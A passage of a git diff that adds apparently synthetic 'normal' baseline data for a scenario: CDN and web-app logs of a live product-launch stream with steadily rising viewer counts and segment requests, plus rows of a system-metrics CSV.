"VLC/3.0.16 LibVLC/3.0.16" +Jul 02 12:02:30 cdn-proxy[8910]: 152.176.53.79 - - [02/Jul/2025:12:02:30 +0000] "GET /live/product-launch-2025/segment4.ts HTTP/1.1" 200 1949260 "-" "VLC/3.0.16 LibVLC/3.0.16" +Jul 02 12:02:35 streaming-app[4567]: INFO: Current viewers: 50000. +Jul 02 12:02:35 cdn-proxy[8910]: 24.73.152.184 - - [02/Jul/2025:12:02:35 +0000] "GET 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[02/Jul/2025:12:02:40 +0000] "GET /live/product-launch-2025/segment37.ts HTTP/1.1" 206 1774750 "-" "ExoPlayer/2.18.1" +Jul 02 12:02:40 cdn-proxy[8910]: 17.141.97.103 - - [02/Jul/2025:12:02:40 +0000] "GET /live/product-launch-2025/segment40.ts HTTP/1.1" 206 1584980 "-" "ExoPlayer/2.18.1" +Jul 02 12:02:40 cdn-proxy[8910]: 218.150.143.150 - - [02/Jul/2025:12:02:40 +0000] "GET /live/product-launch-2025/segment42.ts HTTP/1.1" 206 1853231 "-" "ExoPlayer/2.18.1" +Jul 02 12:02:45 cdn-proxy[8910]: 131.34.248.163 - - [02/Jul/2025:12:02:45 +0000] "GET /live/product-launch-2025/segment12.ts HTTP/1.1" 206 1538020 "-" "ExoPlayer/2.18.1" +Jul 02 12:02:45 cdn-proxy[8910]: 169.135.67.123 - - [02/Jul/2025:12:02:45 +0000] "GET /live/product-launch-2025/segment34.ts HTTP/1.1" 200 1758132 "-" "ExoPlayer/2.18.1" +Jul 02 12:02:45 cdn-proxy[8910]: 213.219.252.195 - - [02/Jul/2025:12:02:45 +0000] "GET /live/product-launch-2025/segment8.ts HTTP/1.1" 206 1519308 "-" "ExoPlayer/2.18.1" +Jul 02 12:02:45 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+2025-08-22T10:02:30Z,80.82,58.3,13.29,6.38,935.26 +2025-08-22T10:02:35Z,85.58,58.44,5.33,7.87,879.08 +2025-08-22T10:02:40Z,81.16,52.02,14.2,9.97,762.07 +2025-08-22T10:02:45Z,89.42,56.64,9.16,7.67,807.5 +2025-08-22T10:02:50Z,83.56,55.58,16.83,5.21,752.46 +2025-08-22T10:02:55Z,87.11,53.26,11.95,8.75,707.02 +2025-08-22T10:03:00Z,94.07,55.82,14.76,9.81,884.69 +2025-08-22T10:03:05Z,86.15,54.3,19.15,6.71,850.21 +2025-08-22T10:03:10Z,88.81,50.37,19.48,7.0,840.6 +2025-08-22T10:03:15Z,80.54,58.17,10.59,8.66,874.13 +2025-08-22T10:03:20Z,79.5,56.35,13.27,7.64,923.57 +2025-08-22T10:03:25Z,80.37,58.79,9.43,9.86,844.39 +2025-08-22T10:03:30Z,92.04,59.26,17.83,9.94,909.94 +2025-08-22T10:03:35Z,82.62,56.38,17.47,8.11,853.24 +2025-08-22T10:03:40Z,89.73,50.51,9.16,9.93,720.57 +2025-08-22T10:03:45Z,80.96,55.63,13.38,5.59,742.0 +2025-08-22T10:03:50Z,89.61,51.92,11.9,7.87,884.85 +2025-08-22T10:03:55Z,92.28,50.95,10.18,9.5,934.91 +2025-08-22T10:04:00Z,91.75,59.43,15.11,7.12,892.66 +2025-08-22T10:04:05Z,84.97,55.54,8.3,8.83,835.39 +2025-08-22T10:04:10Z,80.1,54.68,5.04,5.03,836.29 +2025-08-22T10:04:15Z,82.55,50.98,7.41,6.18,896.65 +2025-08-22T10:04:20Z,79.7,51.7,13.06,8.29,855.91 +2025-08-22T10:04:25Z,84.97,59.91,7.29,5.84,730.92 +2025-08-22T10:04:30Z,87.99,57.44,17.47,5.58,848.04 +2025-08-22T10:04:35Z,90.28,50.79,15.94,6.23,713.03 +2025-08-22T10:04:40Z,85.12,59.31,8.23,9.92,811.03 +2025-08-22T10:04:45Z,83.4,52.87,7.57,9.36,844.07 +2025-08-22T10:04:50Z,87.65,56.08,9.57,7.82,889.56 +2025-08-22T10:04:55Z,86.78,53.52,16.35,9.73,773.9 +2025-08-22T10:05:00Z,86.69,56.08,18.3,8.41,786.35 +2025-08-22T10:05:05Z,90.77,54.03,15.8,8.48,845.29 +2025-08-22T10:05:10Z,82.48,55.48,15.02,7.03,937.36 +2025-08-22T10:05:15Z,78.22,51.37,9.68,7.82,819.45 +2025-08-22T10:05:20Z,86.27,54.74,17.11,6.15,732.89 +2025-08-22T10:05:25Z,90.68,55.07,6.11,8.06,869.76 +2025-08-22T10:05:30Z,83.45,54.09,14.75,7.27,917.91 +2025-08-22T10:05:35Z,76.42,53.63,18.94,5.37,881.78 +2025-08-22T10:05:40Z,79.45,50.07,14.68,9.06,917.0 +2025-08-22T10:05:45Z,89.06,56.05,12.9,5.62,944.24 +2025-08-22T10:05:50Z,87.99,54.56,10.64,9.31,901.27 +2025-08-22T10:05:55Z,77.09,58.46,13.84,8.0,703.67 +2025-08-22T10:06:00Z,84.34,55.23,18.49,7.93,818.83 +2025-08-22T10:06:05Z,76.18,52.46,10.48,6.14,702.25 +2025-08-22T10:06:10Z,84.5,51.49,9.62,9.89,756.5 +2025-08-22T10:06:15Z,83.1,53.98,9.87,8.72,741.76 +2025-08-22T10:06:20Z,89.92,55.98,17.02,9.61,728.9 +2025-08-22T10:06:25Z,85.51,51.42,17.93,8.14,900.88 +2025-08-22T10:06:30Z,86.97,56.85,19.52,5.58,802.01 +2025-08-22T10:06:35Z,86.57,54.04,13.44,6.35,822.63 +2025-08-22T10:06:40Z,85.13,59.13,17.26,8.77,769.07 +2025-08-22T10:06:45Z,87.01,59.77,11.3,7.78,765.37 +2025-08-22T10:06:50Z,84.86,59.71,17.08,8.3,777.56 +2025-08-22T10:06:55Z,84.37,52.59,10.13,9.92,723.97 +2025-08-22T10:07:00Z,80.77,52.97,8.99,9.0,832.4 +2025-08-22T10:07:05Z,79.72,59.24,6.13,9.43,732.17 +2025-08-22T10:07:10Z,83.51,53.41,10.55,8.29,928.32 +2025-08-22T10:07:15Z,82.93,54.84,13.16,6.05,929.14 +2025-08-22T10:07:20Z,88.46,56.01,12.53,6.01,912.01 +2025-08-22T10:07:25Z,83.0,56.71,13.0,5.81,819.52 diff --git a/norm_dataset/scenario_7/norm_7_20.log b/norm_dataset/scenario_7/norm_7_20.log new file mode 100644 index 0000000000000000000000000000000000000000..76e2d729d5e0590d1066bff5de3ad4705d39789d --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_20.log @@ -0,0 +1,201 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:05 web-app[1234]: GET /api/v1/user/31 status=200 OK +Aug 22 10:00:40 web-app[1234]: GET /api/v1/user/87 status=200 OK +Aug 22 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:15 web-app[1234]: GET /api/v1/user/92 status=200 OK +Aug 22 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:50 web-app[1234]: GET /api/v1/user/100 status=200 OK +Aug 22 10:02:25 web-app[1234]: GET /api/v1/user/88 status=200 OK +Aug 22 10:02:30 web-app[1234]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:02:30 web-app[1234]: INFO: Current viewers: 15234 +Aug 22 10:02:30 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:02:30 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:02:30 cdn-edge[5678]: 192.168.152.3 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:02:35 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:02:35 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:02:35 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:02:40 cdn-edge[5678]: 192.168.185.48 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:02:40 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:02:45 cdn-edge[5678]: 192.168.154.182 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:02:45 cdn-edge[5678]: 192.168.216.171 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:02:50 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:02:50 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:02:50 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:02:50 cdn-edge[5678]: 192.168.249.42 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:02:55 cdn-edge[5678]: 192.168.97.171 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:02:55 cdn-edge[5678]: 192.168.97.171 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:02:55 web-app[1234]: INFO: Current viewers: 18258 +Aug 22 10:03:00 cdn-edge[5678]: 192.168.205.243 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:03:00 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:03:00 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:03:00 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:03:05 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:03:05 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:03:05 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:03:10 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:03:10 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:03:15 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:03:15 cdn-edge[5678]: 192.168.249.42 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:03:20 cdn-edge[5678]: 192.168.152.3 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:03:20 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:03:20 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:03:20 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:03:20 web-app[1234]: INFO: Current viewers: 22491 +Aug 22 10:03:25 cdn-edge[5678]: 192.168.205.243 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:03:25 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:03:25 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:03:30 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:03:30 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:03:30 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:03:30 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:03:35 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:03:35 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:03:40 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:03:40 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:03:45 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:03:45 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:03:45 web-app[1234]: INFO: Current viewers: 26458 +Aug 22 10:03:50 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:03:50 cdn-edge[5678]: 192.168.163.4 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:03:55 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:03:55 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:04:00 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:04:00 cdn-edge[5678]: 192.168.185.48 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:04:00 cdn-edge[5678]: 192.168.249.42 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:04:05 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:04:05 cdn-edge[5678]: 192.168.216.171 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:04:10 cdn-edge[5678]: 192.168.97.171 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:04:10 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:04:10 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:04:10 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:04:10 web-app[1234]: INFO: Current viewers: 29708 +Aug 22 10:04:15 cdn-edge[5678]: 192.168.185.48 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:04:15 cdn-edge[5678]: 192.168.139.70 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:04:20 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:04:20 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:04:20 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:04:25 cdn-edge[5678]: 192.168.97.171 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:04:25 cdn-edge[5678]: 192.168.154.182 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:04:25 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:04:25 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:04:30 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:04:30 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:04:35 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:04:35 cdn-edge[5678]: 192.168.154.182 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:04:35 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:04:35 web-app[1234]: INFO: Current viewers: 33840 +Aug 22 10:04:40 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:04:40 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:04:40 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:04:40 cdn-edge[5678]: 192.168.216.171 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:04:45 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:04:45 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:04:45 cdn-edge[5678]: 192.168.205.243 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:04:50 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:04:50 cdn-edge[5678]: 192.168.163.4 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:04:50 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:04:50 cdn-edge[5678]: 192.168.216.171 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:04:55 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:04:55 cdn-edge[5678]: 192.168.205.243 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:04:55 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:05:00 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:05:00 cdn-edge[5678]: 192.168.163.4 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:05:00 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:05:00 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:05:00 web-app[1234]: INFO: Current viewers: 38643 +Aug 22 10:05:05 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:05:05 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:05:05 cdn-edge[5678]: 192.168.139.70 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:05:10 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:05:10 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:05:10 cdn-edge[5678]: 192.168.139.70 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:05:15 cdn-edge[5678]: 192.168.154.182 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:05:15 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:05:15 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:05:15 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:05:20 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:05:20 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:05:25 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:05:25 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:05:25 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:05:25 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:05:25 web-app[1234]: INFO: Current viewers: 41865 +Aug 22 10:05:30 cdn-edge[5678]: 192.168.152.3 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:05:30 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:05:30 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:05:30 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:05:35 cdn-edge[5678]: 192.168.154.182 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:05:35 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:05:35 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:05:35 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:05:40 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:05:40 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:05:40 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:05:40 cdn-edge[5678]: 192.168.139.70 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:05:45 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:05:45 cdn-edge[5678]: 192.168.78.40 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:05:45 cdn-edge[5678]: 192.168.185.48 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:05:50 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:05:50 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:05:50 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:05:50 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:05:50 web-app[1234]: INFO: Current viewers: 47661 +Aug 22 10:05:55 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:05:55 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:05:55 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:05:55 cdn-edge[5678]: 192.168.163.4 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:06:00 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:06:00 cdn-edge[5678]: 192.168.205.243 GET /live/stream-1_720p.ts HTTP/1.1" 200 +Aug 22 10:06:00 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:06:05 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:06:05 cdn-edge[5678]: 192.168.163.4 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:05 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:06:10 cdn-edge[5678]: 192.168.53.43 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:10 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:06:10 cdn-edge[5678]: 192.168.249.42 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:06:15 cdn-edge[5678]: 192.168.185.48 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:06:15 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:06:15 web-app[1234]: INFO: Current viewers: 53452 +Aug 22 10:06:20 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:06:20 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:06:20 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:06:20 cdn-edge[5678]: 192.168.152.3 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:06:25 cdn-edge[5678]: 192.168.205.243 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:25 cdn-edge[5678]: 192.168.139.70 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:25 cdn-edge[5678]: 192.168.140.85 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:06:30 cdn-edge[5678]: 192.168.55.211 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:06:30 cdn-edge[5678]: 192.168.16.130 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:30 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:06:35 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:06:35 cdn-edge[5678]: 192.168.139.70 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:06:35 cdn-edge[5678]: 192.168.139.70 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:06:35 cdn-edge[5678]: 192.168.216.171 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:40 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:06:40 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:06:40 cdn-edge[5678]: 192.168.163.4 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:40 cdn-edge[5678]: 192.168.152.244 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:06:40 web-app[1234]: INFO: Current viewers: 58638 +Aug 22 10:06:45 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:06:45 cdn-edge[5678]: 192.168.249.42 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:06:50 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:50 cdn-edge[5678]: 192.168.163.4 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:06:55 cdn-edge[5678]: 192.168.152.3 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:06:55 cdn-edge[5678]: 192.168.154.182 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:07:00 cdn-edge[5678]: 192.168.97.171 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:07:00 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:07:00 cdn-edge[5678]: 192.168.154.182 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:07:00 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:07:05 cdn-edge[5678]: 192.168.249.42 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:07:05 cdn-edge[5678]: 192.168.143.84 GET /live/stream-1_480p.ts HTTP/1.1" 206 +Aug 22 10:07:05 cdn-edge[5678]: 192.168.185.48 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:07:05 web-app[1234]: INFO: Current viewers: 61904 +Aug 22 10:07:10 cdn-edge[5678]: 192.168.216.171 GET /live/stream-1.m3u8 HTTP/1.1" 206 +Aug 22 10:07:10 cdn-edge[5678]: 192.168.148.236 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:07:15 cdn-edge[5678]: 192.168.85.22 GET /live/stream-1_1080p.ts HTTP/1.1" 200 +Aug 22 10:07:15 cdn-edge[5678]: 192.168.205.243 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:07:20 cdn-edge[5678]: 192.168.249.42 GET /live/stream-1_720p.ts HTTP/1.1" 206 +Aug 22 10:07:20 cdn-edge[5678]: 192.168.139.70 GET /live/stream-1.m3u8 HTTP/1.1" 200 +Aug 22 10:07:25 cdn-edge[5678]: 192.168.250.140 GET /live/stream-1_1080p.ts HTTP/1.1" 206 +Aug 22 10:07:25 cdn-edge[5678]: 192.168.205.243 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:07:25 cdn-edge[5678]: 192.168.201.162 GET /live/stream-1_480p.ts HTTP/1.1" 200 +Aug 22 10:07:25 cdn-edge[5678]: 192.168.249.42 GET /live/stream-1_720p.ts HTTP/1.1" 200 diff --git a/norm_dataset/scenario_7/norm_7_21.csv b/norm_dataset/scenario_7/norm_7_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..2c583db950376b59ded0041d772c8cf6c4b3d809 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,net_connections 